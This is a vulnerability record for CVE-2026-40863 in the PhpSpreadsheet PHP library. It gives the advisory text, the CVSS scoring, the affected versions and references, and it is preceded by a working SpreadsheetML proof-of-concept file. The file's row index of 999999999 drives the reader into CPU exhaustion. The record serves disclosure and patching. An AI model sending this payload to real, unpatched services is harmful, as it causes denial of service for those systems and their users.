CVE-2026-40863

<?xml version="1.0"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:html="http://www.w3.org/TR/REC-html40"> <Worksheet ss:Name="Sheet1"> <Table> <!-- Malicious Row Index causing CPU exhaustion --> <Row ss:Index="999999999"> <Cell><Data ss:Type="String">Exploit</Data></Cell> </Row> </Table> </Worksheet> </Workbook>

{"cve": {"id": "CVE-2026-40863", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:33.783", "lastModified": "2026-05-13T18:01:19.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index=\"999999999\" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.30.4", "matchCriteriaId": "21F2C6F6-C903-4A65-BCB4-4549FE752ED5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.16", "matchCriteriaId": "E27B01CE-562C-4746-A7F5-E402B25F0B47"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.4.5", "matchCriteriaId": "46FF2D5E-816F-481B-AA45-41BA6EDCFEA0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.10.5", "matchCriteriaId": "DF58DF5C-8F1B-4B1B-80A0-001B47751D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "5.7.0", "matchCriteriaId": "DD7DEDE3-C624-4524-9B08-08B92F28C40C"}]}]}], "references": [{"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}